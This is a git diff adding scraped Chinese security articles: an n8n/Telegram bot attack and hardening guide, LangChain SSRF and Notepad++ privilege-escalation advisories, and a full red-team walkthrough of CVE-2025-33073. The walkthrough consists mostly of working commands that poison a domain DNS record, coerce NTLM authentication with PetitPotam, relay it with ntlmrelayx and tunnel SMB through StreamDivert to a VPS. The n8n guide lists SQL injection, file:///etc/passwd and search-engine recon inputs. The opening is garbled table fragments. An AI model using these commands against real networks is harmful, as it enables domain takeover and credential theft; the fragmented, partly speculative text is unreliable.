| CVE 编号 | |
| 发布时间 | |
| CVSS 评分 | |
| 易被利用性 | |
| 修复状态 |
01 |
02 |
03 |
| RCE（远程代码执行） | eval()，隔离进程 | |
| SQL注入 | "; DROP ...;） | |
| XSS注入 | ||
| 过滤器/授权绕过 | user_id | |
| SSRF/路径遍历 | ||
| 令牌/机密泄露 |
+、标签如
+、
+等，看看是否会出现解析错误或XSS。Unicode字符（零宽度空格、非连接符等）有助于隐藏命令内容，绕过简单过滤器。
+## 通过Webhook
+
+如果使用Webhook节点，攻击者可以发送伪造的JSON请求，假装来自Telegram：包含字段如update_id、message等。这允许"伪造"来自机器人任何用户的消息。例如，在JSON中包含from.id、text等字段，并将其发送到公共Webhook地址。
+## 特殊字符和数据格式
+
+攻击者尝试输入意外的字符（修改后的Unicode符号、URL编码、Base64等）以破坏输入验证。如果工作流包含基于文本内容的条件节点（IF），他们可以通过稍微更改字符串（用相似字母替换、添加标记）来绕过它们。
+### 测试业务逻辑
+
+例如，如果机器人允许执行任意代码或查询，注入诸如; DROP TABLE
+用于SQL或payload
+用于JS的有效负载。如果工作流接受用户提供的URL，输入http://localhost/secret
+或file:///etc/passwd
+以测试SSRF/LFI。
+### 工具示例
+
+像BotFuzzer这样的框架可用于全面发现Telegram机器人中的漏洞。它自动枚举机器人命令和状态（类似于DFS），发现未经测试的逻辑路径。模糊测试研究表明，这些技术能有效检测SQL注入和缓冲区溢出。在n8n工作流中，可以通过向Telegram/Webhook和HTTP请求节点发送随机或格式错误的数据来构建类似的"模糊测试器"。
+# 安全测试
+
+对于开发人员和安全专家来说，主动测试工作流的弹性非常重要。
+### 攻击模拟
+
+在单独的安全环境中，模拟攻击者消息。可以编写模拟Telegram Bot API行为的自动化测试，或手动使用Postman/CURL等工具测试Webhook。最重要的是确保没有机密（数据库查询、环境变量）泄露到响应中。
+### 记录可疑活动
+
+设置所有传入消息和响应的日志记录。日志分析（例如通过ELK/Kibana）有助于检测异常模式——多次处理错误、重复失败命令或尝试访问不存在的资源。这与一般监控建议一致："定期检查日志中的可疑活动"。
+### 输入模糊测试
+
+定向模糊测试有助于发现验证缺陷。例如，为Telegram消息字段（文本、标题、JSON参数）自动生成随机字符串。如模糊测试评论所述，此方法能有效检测意外漏洞。现成的框架如BotFuzzer或自定义脚本可以向机器人发送不同的命令和符号。手动审查函数/代码节点的使用也很有用——确保它们不会使用eval()
+运行未知数据。
+# 防护措施
+
+最后，为最小化风险，应采取以下措施。
+## 过滤和验证消息
+
+清理并验证所有传入数据。例如，如果机器人不应接受HTML，从文本中删除
+标签。转义特殊字符很重要（将<
+转换为<
+等）。对于SQL查询——强制参数化。如果可能接收用户提供的JSON，严格根据模式（JSON Schema）验证并禁止危险键。在Telegram机器人中，过滤user_id
+并仅允许来自受信任用户/组的命令（白名单）是有意义的。
+## 安全工作流设计
+
+避免潜在危险的节点。n8n允许阻止节点（节点阻止），例如执行命令或代码节点，它们运行第三方代码。如果仍需要函数节点，确保内部没有eval
+。对于计算，首选强类型操作（例如JSON模板而非JS代码）。此外，不要使用HTTP请求直接获取来自用户的变量而不验证。定期更新n8n：许多已知漏洞（CVE-2023-27562、CVE-2023-27564等）已在版本≥0.216.1中修复。
+## 访问和权限限制
+
+实施完整的认证系统。使用基于角色的访问控制和双因素认证。如果机器人在群组中工作，启用私有模式（避免接收外部消息）或验证chat_id
+。连接Webhook时，要求秘密令牌（Webhook Token），以便外部人员无法发送请求。限制运行n8n的帐户权限（例如Linux用户n8n
+不应具有root访问权限）。
+## 令牌和机密保护
+
+切勿以明文存储密钥。n8n在磁盘上加密凭据，因此配置可靠的加密密钥（环境变量NBN_ENCRYPTION_KEY
+）。尽可能使用外部机密存储（HashiCorp Vault、AWS Secrets Manager）。切勿将机器人令牌插入消息文本或日志中。为所有请求（Telegram API、Webhook等）提供HTTPS——这将防止网络中的令牌拦截。
+## 额外措施
+
+对传入的Webhook应用速率限制以防止DoS和暴力攻击。为n8n Web界面使用内容安全策略。定期进行渗透测试：尝试模拟已知攻击者（SQLi、SSRF等）并检查是否被阻止。这种多层防护（"深度防御"）是自动化代理安全的关键。
+# 常见n8n攻击
+## 1. 通过公开暴露的n8n实例攻击
+
+**如何发现n8n实例**
+- **Shodan / Censys / ZoomEye互联网扫描**
+
+公共n8n实例（尤其是在端口5678、80、443上）会被搜索引擎索引，使用如下查询：
+
+```
+app="n8n" (ZoomEye)
+title="n8n"
+iconhash="8ad475e8b10ff8bcff648ae6d49c88ae"
+```
+#
+# 搜索错误或头信息简单的curl命令：curl -I http://example.com 可能会显示x-powered-by: n8n也可以标识出来。
+# 例如直接使用ZoomEye搜索带有n8n响应header的内容：（http.header="n8n"）
+# 链接：https://www.zoomeye.org/searchResult?q=aHR0cC5oZWFkZXI9Im44biI%3D
+
+
+#
+# 带有前缀如n8n.或workflow.的域名像n8n.domain.ru、workflow.domain.com这样的域名经常通过DNS暴力破解被发现。
+# 反向IP查找或者Hostname发现如果您的n8n运行在VPS上，且该IP曾出现在其他地方（例如另一个网站或服务），攻击者可以查找相关域名并发现n8n。
+# 例如通过ZoomEye可以通过hostname="n8n"进行搜索
+# 链接：https://www.zoomeye.org/searchResult?q=aG9zdG5hbWU9Im44biI%3D
+
+
+#
+
+**攻击者能做什么？？？**
+
+**对您的域名或IP进行DDoS**
+
+没有防护的情况下，大量HTTP请求很容易使n8n崩溃——尤其是在弱服务器上。常见目标：/webbook/或/rest_endpoints。
+
+**暴力破解或自动化API模糊测试**
+
+如果界面暴露，机器人可以在几秒钟内测试数百个路径（/rest/executions、/rest/credentials、/rest/workflows）并尝试提取数据。
+
+**基于CVE的漏洞扫描**
+
+知道是n8n及其版本后，攻击者可能利用已知漏洞，如：
+
+○ CVE-2023-27562（路径遍历）
+
+○ CVE-2023-27564（凭据泄露）
+
+以及其他关键问题。
+
+**通过Docker配置错误自动化利用**
+
+如果您错误地暴露了端口如5678、15672（RabbitMQ）或3306（MySQL），攻击者会发现并访问它们。
+## 2. 通过基于n8n的公共Telegram机器人泄露数据
+
+以这个例子为例：Reddit上的用户发现可以通过搜索"n8n助手"找到其他人的n8n机器人。然后只需发送一条消息——机器人就会回复，将所有者的私人数据（日历事件、会议、电子邮件）暴露给匿名陌生人。
+
+**发生原因：**
+- 机器人公开可访问——未强制执行user_id
+白名单。
+
+- 任何人都可以与之交互并接收响应。
+
+- 没有输入过滤——工作流首先获取数据（例如日历信息），然后才检查权限——但为时已晚。
+
+**后果：**
+- 个人信息（会议、电子邮件地址）暴露。
+
+- 如果响应中包含内部令牌或API密钥，可能导致泄露。
+
+**结论：**
+
+这个案例真实且非常严重。即使没有直接的n8n漏洞，机器人也可能成为数据泄露的完美载体。
+
diff --git a/doc/2025-06/【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828).md b/doc/2025-06/【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828).md
new file mode 100644
index 00000000..1bf3c8af
--- /dev/null
+++ b/doc/2025-06/【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828).md
@@ -0,0 +1,31 @@
+# 【AI高危漏洞预警】langchain-ai信息泄露漏洞(CVE-2025-2828)
+cexlife 飓风网络安全 2025-06-24 05:07
+
+
+
+漏洞描述:
+
+服务器端请求伪造SSRF漏洞存在于lаnɡсhаin-соmmunitу包的RеԛuеѕtѕTооlkit组件中具体来说是lаnɡсhаin_соmmunitу.аɡеnt_tооlkitѕ.ореnарi.tооlkit.RеԛuеѕtѕTооlkit在 lаnɡсhаin-аi/lаnɡсhаin版本0.0.27此漏洞发生是因为工具包不对远程互联网地址的请求进行限制,从而允许其访问本地地址,因此攻击者可以利用此漏洞执行端口扫描、访问本地服务、从云环境（例如 Azurе、AWS）检索实例元数据,并与本地网络上的服务器进行交互,此问题已在版本0.0.28中修复。
+
+攻击场景:
+
+攻击者可能通过LangChain的RequestToolkit组件对系统进行攻击,例如通过远程互联网地址的请求访问本地地址。
+
+影响产品:
+
+LangChain的所有版本
+
+检测方法:
+
+通过查看LangChain的版本信息来确定是否受影响,使用命令pip show langchain可以查看当前安装的版本。
+
+修复建议:
+
+建议用户关注LаnɡChаin的官方更新,及时安装补丁以修复该漏洞,具体补丁信息和安装步骤请参考官方文档
+
+缓解方案:
+
+短期内建议用户限制对LаnɡChаin应用的访问权限,确保只有授权用户可以访问相关功能。
+
+
+
diff --git a/doc/2025-06/【CVE‑2025‑49144】Notepad++提权漏洞.md b/doc/2025-06/【CVE‑2025‑49144】Notepad++提权漏洞.md
new file mode 100644
index 00000000..11599cf1
--- /dev/null
+++ b/doc/2025-06/【CVE‑2025‑49144】Notepad++提权漏洞.md
@@ -0,0 +1,81 @@
+# 【CVE‑2025‑49144】Notepad++提权漏洞
+原创 Blue17 表哥带我 2025-06-24 07:18
+
+
+#### 漏洞描述
+###
+
+Notepad++ v8.8.1 安装程序被披露存在提权漏洞
+CVE‑2025‑49144
+，非特权用户可通过不安全的可执行文件搜索路径获取系统级（SYSTEM）权限。
+#### 漏洞详情
+###
+信息类别 具体内容 漏洞编号 CVE-2025-49144 影响软件 Notepad++ v8.8.1 及之前版本的安装程序 漏洞类型 未受控的 EXE/DLL 搜索路径（二进制文件植入） 漏洞等级 高危（High） 发布日期 2025 年（具体日期随研究报告披露时间而定） 漏洞影响 本地权限提升至 NT AUTHORITY\SYSTEM 级别，可导致系统完全控制、数据泄露等风险
###
+#### 攻击方式
+###
+攻击维度 具体内容 攻击准备 攻击者将恶意可执行文件（如 regsvr32.exe）放置在目标目录（如用户下载文件夹） 攻击载体 用户下载并运行 Notepad++ v8.8.1 安装程序 攻击执行机制 安装程序在当前工作目录搜索依赖项时加载恶意文件，以 SYSTEM 权限执行 攻击结果 攻击者获取系统完全控制权，可执行任意代码、窃取数据或横向移动 真实攻击场景 通过社会工程学诱使用户将恶意文件与安装程序下载至同一目录，运行后自动触发攻击
###
+
+
+
+
+
+
+
+
+
+已定位问题根源：Notepad++ 存在 EXE 侧加载漏洞，因调用 regsvr32 时未指定绝对路径，导致其从当前工作目录加载恶意可执行文件。
+```
+ExecWait 'regsvr32 /u /s "$INSTDIR\NppShell_01.dll"'
+```
+```
+ExecWait '$SYSDIR\regsvr32.exe /u /s "$INSTDIR\NppShell_01.dll"'
+```
+###
+### 修复与防护建议
+###
+防护维度 具体措施 官方修复方案 升级至 Notepad++ 8.8.2 及以上版本，安装程序已改用绝对路径加载依赖项（如$SYSDIR\regsvr32.exe） 用户防护建议 1. 从官方渠道下载安装程序，避免从非可信来源获取
2. 运行安装程序前清空下载目录中的可疑文件
3. 使用安全软件监控安装过程中的文件调用 开发修复实践 1. 对安装程序依赖项使用绝对路径加载
2. 实施可执行文件数字签名验证
3. 创建随机名称的安全临时目录 参考标准 遵循微软《安全库加载指南》
####
+#### 相似漏洞
+- CVE-2023-6401 与 CVE-2023-47452（Notepad++ 旧版本漏洞）。
+
+- CVE-2024-44346（类似的二进制植入漏洞）。
+
+- 戴尔 SupportAssist 漏洞（DSA-2024-312）。
+
+Notepad++ 早年的一个公告
+
+不过以其作者的尿性，是后门也不奇怪
+
+对不支持其政治立场的用户在代码中随机插入字符
+
+
+
+**违背开源精神**
+开源软件倡导自由、共享和协作，其目的是为了让全球开发者共同受益和进步。作者将个人政治立场强加于软件，并以破坏用户代码相威胁，严重违背了开源软件的本质和初衷，破坏了开源社区的信任和生态。用户使用文本编辑器是为了高效地进行代码编写、文本处理等工作。作者的行为将个人主观意志凌驾于用户之上，无视用户的权益和需求，可能会给用户带来巨大的损失，如代码出错、工作延误等
+
+
+以下是一些 Notepad++ 的平替软件
+
+
+- **Sublime Text**
+轻量、简洁、高效且跨平台。具有多重选择功能，支持宏，启动速度快，内存和 CPU 占用率低。智能代码补全功能强大，能根据代码上下文预测并提供补全建议。支持多种编程语言，语法高亮效果好，还可通过插件扩展功能，如 Emmet 可快速生成前端代码，GitGutter 能显示 Git 状态。
+
+- **Visual Studio Code**
+跨平台编辑器，针对现代 Web 和云应用开发。它有丰富的扩展生态，能满足各种开发需求，例如安装 Python 扩展可进行 Python 开发，安装 Java 扩展可进行 Java 开发等。集成了版本控制系统，方便进行代码版本管理。调试功能强大，能帮助开发者快速定位和解决代码中的问题。
+
+- **Github Atom**
+由 GitHub 专门为程序员推出的跨平台文本编辑器。界面美观、现代化，使用舒适，设置管理方便。支持各种编程语言的代码高亮和代码补全，原生支持 Git 和 Markdown，有文件树列表功能，方便多文件管理，社区活跃，插件和主题丰富。
+
+- **BowPad**
+带有功能区 UI 的简单而快速的文本编辑器，使用方便，可颜色标注重点部分，支持内嵌式编辑和代码编辑。支持多种编码格式，语法高亮功能覆盖超过 100 种文件类型和语言。其直观的 ribbon 界面让用户能迅速找到所需功能，垂直滚动条中集成导航提示，便于在长文档中定位，还可通过插件扩展功能。
+
+
+
+
+
+**扫码关注我们**
+
+微信公众号：表哥带我
+
+本文供稿：Blue17
+
+
diff --git a/doc/2025-06/【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144).md b/doc/2025-06/【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144).md
new file mode 100644
index 00000000..6e87d9d7
--- /dev/null
+++ b/doc/2025-06/【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144).md
@@ -0,0 +1,37 @@
+# 【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144)
+cexlife 飓风网络安全 2025-06-24 05:07
+
+
+
+漏洞描述:
+
+Nоtераd++是一个免费且开源的源代码编辑器,在8.8.1及更早版本中,Nоtераｄ++v8.8.1安装程序中存在一个权限提升漏洞,允许非特权用户通过不安全的可执行文件搜索路径获得SYSTEM级权限,攻击者可以使用社会工程学或点击劫持诱使用户将合法安装程序和恶意可执行文件下载到同一目录通常是下载文件夹该目录被称为易受攻击的目录,在运行安装程序时,攻击会自动以SYSTEM权限执行,此问题已在8.8.2版本中修复并即将发布。
+
+
+
+
+
+攻击场景:
+
+攻击者可以通过社会工程学或点击劫持诱使用户将合法安装程序和恶意可执行文件下载到同一目录导致权限提升。
+
+影响产品:
+
+Notepad++所有版本
+
+修复建议:
+
+补丁名称:
+
+Nоtераｄ++权限提升漏洞的补丁-更新至最新版本8.8.2
+
+文件链接:
+
+https://github.com/notepad-plus-plus/notepad-plus-plus/releases/tag/v8.8.1
+
+缓解措施:
+
+建议用户定期检查软件更新,并及时应用安全补丁以降低潜在风险。同时增强对文件来源的审查,避免打开不明文件。
+
+
+
diff --git a/doc/2025-06/使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞.md b/doc/2025-06/使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞.md
new file mode 100644
index 00000000..4f4ef7e6
--- /dev/null
+++ b/doc/2025-06/使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞.md
@@ -0,0 +1,190 @@
+# 使用 UDS 自动发现 ECU - UDS是否是一个安全漏洞
+GRCC IoVSecurity 2025-06-24 07:46
+
+
+
+点击上方
+蓝色字体
+，关注我们
+
+**/**
+**技术交流群****/**
+
+添加微信15021948198，申请会员下载ppt & 加入汽车网络信息安全、测试评价、汽车电子、自动驾驶技术交流群、招聘求职群、
+投融资
+合作群...
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+相关文章
+
+
+[静默禁用](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247516355&idx=1&sn=63a68db754586b7adc670d37bdabce04&chksm=fc02d009cb75591feee889fbf6c84979d9bf298c06914a63697288047688ab4ac1d0fede2205&scene=21#wechat_redirect)
+
+[ECU](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247516355&idx=1&sn=63a68db754586b7adc670d37bdabce04&chksm=fc02d009cb75591feee889fbf6c84979d9bf298c06914a63697288047688ab4ac1d0fede2205&scene=21#wechat_redirect)
+
+[，启用CAN总线盲攻击](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247516355&idx=1&sn=63a68db754586b7adc670d37bdabce04&chksm=fc02d009cb75591feee889fbf6c84979d9bf298c06914a63697288047688ab4ac1d0fede2205&scene=21#wechat_redirect)
+
+
+[CANdid - 绕过 ECU 身份验证的隐秘垫脚石攻击](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247584509&idx=2&sn=b66af41d7424792a966e770de9ef0994&chksm=fc03da37cb7453218eee93955bce8084d983a5e874f090f89faf2347097a8b275bb754f52722&scene=21#wechat_redirect)
+
+
+[保护基于 AUTOSAR 的 ECU 免受网络风险，以实现创新的移动性](http://mp.weixin.qq.com/s?__biz=MzU2MDk1Nzg2MQ==&mid=2247584509&idx=1&sn=ace95fd735b49fa3afba4dfbb40e67a4&chksm=fc03da37cb745321dc8e735b2ffc6009e91a9951bfb3eff444d2a376e49a071c059fa02d502e&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+扫描二维码**申请**
+会员**下载ppt**
+ &
+加入
+
+网络信息安全、测试评价、汽车电子、
+
+自动驾驶、招聘求职等行业交流群
+
+获取合作机会
+
+
+
+
+
+
+扫描二维码获取
+
+更多精彩
+
+
+
+
+关注“**IoVSecurity**
+”
+
+
+
+
+
+
+点个在看
+你最好看
+
+
+
diff --git a/doc/2025-06/内网横行：CVE-2025-33073 实战场景利用全流程指南 附利用工具.md b/doc/2025-06/内网横行：CVE-2025-33073 实战场景利用全流程指南 附利用工具.md
new file mode 100644
index 00000000..2694fbe6
--- /dev/null
+++ b/doc/2025-06/内网横行：CVE-2025-33073 实战场景利用全流程指南 附利用工具.md
@@ -0,0 +1,293 @@
+# 内网横行：CVE-2025-33073 实战场景利用全流程指南 | 附利用工具
+原创 薛定的饿猫 饿猫的小黑屋 2025-06-24 07:15
+
+**前言**
+****
+
+
+参考资料
+
+在上一篇文章中，对
+CVE-2025-33073
+ 的漏洞原理进行了比较深入的分析，同时在靶场环境中进行了漏洞复现。出于漏洞原理和红队行动规范的原因， CVE-2025-33073 在实际利用的过程中比靶场会更加麻烦一些。本文将基于实战利用的场景对 CVE-2025-33073 进行全流程的攻击梳理。
+1. 靶场复现中存在的 Windows 端口占用问题在实战中没有太大影响，因为不可避免的需要走隧道进行利用，那么外网的 VPS 机器直接选择 Linux 即可。如果确实有需要用到 Windows 进行利用的情况，按照章节
+0x04
+ 中不出网的部分进行转发即可。为了帮助小白更好的理解，文章最后也会对其单独进行讲解。
+
+1. 为了使流程更加清晰，文中按照步骤搭建不同的隧道，实战情况下可以使用 frp 等能转发 SMB 的工具进行转发，简化利用流程并减少文件上传的数量。
+
+如果想深入了解此漏洞，建议阅读前文。
+> 内网横行：CVE-2025-33073漏洞分析与攻击复现
+
+> 薛定的饿猫，公众号：饿猫的小黑屋[内网横行：CVE-2025-33073漏洞分析与攻击复现](http://mp.weixin.qq.com/s?__biz=Mzg4NDU4OTQ1NA==&mid=2247484712&idx=1&sn=02ff86815b2cb114cbfcea520ff2db51&chksm=cfb493c9f8c31adfec2590226974b21f93d10095abfd157d19e38dd2c460a04e7a8301931b90#rd)
+
+
+
+**0x01 环境准备**
+****
+
+
+参考资料
+
+```
+域控DC Windows server 2022：192.168.214.134域内目标主机 Windows server 2022：192.168.214.135 外网主机 Windows server 2022 192.168.214.136 192.168.56.130(模拟外网IP) 攻击机 Windows 11：192.168.56.131公网VPS Kali Linux：192.168.56.129
+```
+
+
+0x02 最简攻击流程梳理
+
+
+参考资料
+
+先回顾一下正常攻击的流程，主要分为三个步骤：
+
+1.
+向 DNS 服务器（域控）添加 DNS 记录。
+
+```
+python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130 --action modify 192.168.214.134
+```
+
+
+2.
+开启监听，用于接收目标服务器发起的认证请求并反射回给目标服务器
+。
+
+```
+python ntlmrelayx.py -t 192.168.214.135 -smb2support
+```
+
+
+3.
+强制目标服务器向指定的主机发起 NTLM 认证
+。
+
+```
+python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135
+```
+
+
+具体的攻击逻辑是如何实现的呢?
+
+```
+1. 攻击者在域控上添加一条精心构造的 DNS 记录，将主机名 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 指向攻击者的 IP 192.168.214.1382. 攻击者在内网跳板机（不必在域内，网络连通即可）上启动 SMB/LDAP 等协议的监听，接收到目标主机发起的 NTLM 认证请求后将其反射回目标主机3. 强制目标主机向 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 发起 NTLM 认证3. 目标主机向域控查询 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 的 A 记录，并解析到 IP 192.168.214.1384. 目标主机向攻击者（192.168.214.138）发起 NTLM 认证请求5. 攻击者将收到的认证请求反射回目标主机6. 目标主机触发漏洞进行本地身份验证7. 在本地身份验证握手中，攻击者监听到有 Token 的上下文句柄，并提取 Hash
+```
+
+0x03 实战中不是问题的问题
+
+
+参考资料
+
+```
+1. Windows 445 端口占用2. 相关利用脚本均依赖impacket
+```
+
+
+依赖
+impacket
+是很常见的问题，一般走隧道解决即可，主要问题在于入口机器如果是 Windows 的话，则会存在因为系统默认的 SMB 服务导致的端口占用问题。
+
+如果在 Windows 下直接开启监听，那么会遇到监听失败的情况，而如果通过
+--smb-port
+监听指定端口，又会导致默认是跟 445 端口进行验证而无法正常获取到上下文句柄的问题。那么如何解决呢？
+
+
+
+原本想通过对 PetitPotam.py 进行改造以实现非默认端口的认证，但是受限于
+badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
+ 的影响，最终没找到可以直接指定端口的方法，具体原因不与漏洞原理有关，可以参考上一篇文章，如果有师傅想继续研究可以跟我交流。
+
+除此之外还能想到就是端口转发，关闭SMB服务等方法。关闭SMB服务对系
+统影响较大
+，也不符合红队行动规范，因此最终通过
+康哥（@浮尘云烟）
+推荐的
+StreamDivert
+ 实现转发，
+具体的利用
+将在后续讲到。
+
+那么为什么说这是一个不是问题的问题呢？因为在实际利用当中我们大概率是会使用隧道来执行脚本的，那么我们的攻击机器完全可以使用 Linux 系统。
+
+0x04
+完整攻击流程
+
+
+参考资料
+
+搭建环境如下，并将入口机上线到攻击机的 CS：
+
+```
+已获得普通域用户：domainuser01 / User01!@#域控DC Windows server 2022：192.168.214.134域内目标主机 Windows server 2022：192.168.214.135 入口跳板主机 Windows server 2022 192.168.214.136 192.168.56.130 (模拟外网IP) 攻击机 Windows 11：192.168.56.131公网VPS Kali Linux：192.168.56.129
+```
+
+
+一. 目标主机出网
+
+在目标出网的情况下可以直接在 VPS 服务器上进行监听。
+
+1.
+开启
+socks
+ 代理并配置本地
+proxifier
+ 。
+
+```
+iox.exe proxy -l 8080
+```
+
+
+2.
+向域控
+添加 DNS 解析记录
+。因为 LDAP 使用 TCP 而 DNS 查询使用 UDP （DNS 服务器一般默认支持 TCP 查询），为了实现实战中不同工具场景下更好的兼容性 ，最好是将 UDP 封装到 TCP 中传输 ，
+dnstool.py
+ 已经集成了该功能，可以非常方便的直接使用。
+
+```
+python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.137 --action modify 192.168.214.134 --tcp＃ 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询
+```
+
+
+
+
+3.
+开启 relay 监听，因为目标主机出网因此不必指定端口。
+
+```
+python ntlmrelayx.py -t 192.168.214.135 -smb2support
+```
+
+
+
+
+4.
+强制目标主机发起
+NTLM 认证
+。
+
+```
+python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135
+```
+
+
+
+
+5.
+监听主机接收到 Hash。
+
+
+
+二. 目标主机不出网
+
+这种情况需要在入口机器上搭建一层隧道来实现流量的转发。
+
+1.
+开启
+socks
+ 代理并配置本地
+proxifier
+ 。
+
+```
+iox.exe proxy -l 8080
+```
+
+
+2.
+向域控添加
+DNS 解析记录
+，此时需要将解析指向入口机器 IP
+192.168.214.130
+。
+
+```
+python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130 --action modify 192.168.214.134 --tcp＃ 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询
+```
+
+
+
+
+3
+.
+
+在
+VPS
+ 开启监听。如果是 Windows 主机，则使
+用
+--smb-port
+指定
+一个端口。
+
+注意这里需要使用
+proxychains
+ 来运行
+ntlmrelayx.py
+ ，因为 VPS 接收到目标机器的验证请求之后需要通过
+iox
+ 隧道将其反射回内网。具体原理可以参考上一篇文章。
+```
+proxychains python3 ntlmrelayx.py -t 192.168.214.135 -smb2support
+```
+
+
+
+
+4.
+在入口机搭建隧道，将本地 445 端口流量转发到远程 VPS 主机的监听端口。
+
+StreamDivert
+ 配置文件如下：
+```
+tcp < 445 0.0.0.0 -> 192.168.56.129 445
+```
+```
+5. 加载配置文件启动转发：
+```
+```
+shell StreamDivert.exe config.txt
+```
+
+
+
+6.
+强制目标主机发起 NTLM 认证。
+```
+python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135
+```
+
+
+
+7.
+攻击完成。
+
+
+
+0x05
+Windows 端口占用问题
+
+
+参考资料
+
+跟前面差不多，就不赘述了。
+
+
+
+参考链接
+
+```
+https://mp.weixin.qq.com/s/NrGyltW-f8a3Zqr0-4oYnw
+```
+
+
+
+*
+
+后台回复“CVE-2025-33073”获得工具集下载地址
+
+
+
+
+
+
diff --git a/doc/2025-06/威胁情报：Notepad++ 本地提权漏洞 POC已公开.md b/doc/2025-06/威胁情报：Notepad++ 本地提权漏洞 POC已公开.md
new file mode 100644
index 00000000..f192ea3e
--- /dev/null
+++ b/doc/2025-06/威胁情报：Notepad++ 本地提权漏洞 POC已公开.md
@@ -0,0 +1,116 @@
+# 威胁情报：Notepad++ 本地提权漏洞 | POC已公开
+原创 网安情报攻防站 李白你好 2025-06-24 05:15
+
+**免责声明：**
+由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号李白你好及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
+
+## 漏洞背景与技术细节
+
+截至 2025 年 6 月 24 日，CVE-2025-49144 被确认是一个严重的安全漏洞，影响 Notepad++ 的安装程序，具体版本为 v8.8.1 及更早。Notepad++ 是一款免费开源的源代码编辑器，广泛用于 Windows 系统。该漏洞的类型为“未受控制的可执行文件/动态链接库搜索路径”（Uncontrolled EXE/DLL Search Path），也称为“二进制植入”（Binary Planting），属于本地权限提升类漏洞。
+
+
+
+根据调查，该漏洞的根因在于安装程序在调用 regsvr32
+ 时未指定绝对路径。例如，原始代码可能为：
+- **漏洞代码**
+：ExecWait 'regsvr32 /u /s "$INSTDIR\NppShell_01.dll"'
+这会导致安装程序从当前工作目录加载 regsvr32.exe
+，如果攻击者事先在该目录放置了恶意可执行文件，系统将以 SYSTEM 权限执行该文件。
+
+修复版本 v8.8.2 修改了该行为，明确指定绝对路径，例如：
+- **修复代码**
+：ExecWait '$SYSDIR\regsvr32.exe /u /s "$INSTDIR\NppShell_01.dll"'
+这样可以避免从当前工作目录加载恶意文件。
+
+## 攻击方法与影响
+
+攻击方法分为以下几个步骤：
+1. **准备阶段**
+：攻击者在目标系统当前工作目录中放置一个恶意的 regsvr32.exe
+ 文件或其他可执行文件。
+
+1. **攻击向量**
+：用户运行 Notepad++ v8.8.1 的安装程序。
+
+1. **执行阶段**
+：安装程序调用 regsvr32
+ 时，从当前工作目录加载恶意文件，并以 SYSTEM 权限执行。
+
+1. **结果**
+：攻击者获得对系统的完全控制权，可安装程序、修改数据或创建新账户。
+
+该漏洞的严重性被评为高（High），CVSS v3 分数为 AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H，评分为 7.8/10。用户交互（UI:R）是触发条件之一，但攻击者只需诱导用户运行安装程序即可。
+## PoC 与公开信息
+
+已发布 PoC 材料，供安全研究人员验证漏洞。PoC 可在一下链接查看，其中包括演示视频和相关代码。这表明漏洞已被广泛关注，潜在风险较高。
+
+
+
+
+
+演示视频
+```
+https://youtu.be/qCQlVllAfO0
+```
+
+**POC**
+```
+https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24https://drive.google.com/drive/folders/11yeUSWgqHvt4Bz5jO3ilRRfcpQZ6Gvpn
+```
+## 修复建议
+
+**1、所有 Notepad++ 用户请务必更新至 8.8.2 及以上版本**
+
+**2、下载渠道谨慎：强烈建议从 Notepad++ 官网、GitHub Releases 下载，不使用第三方镜像或链接。**
+
+**3、安装隔离建议：对于重要设备，将安装操作限于受控目录，避免与下载文件混杂。**
+
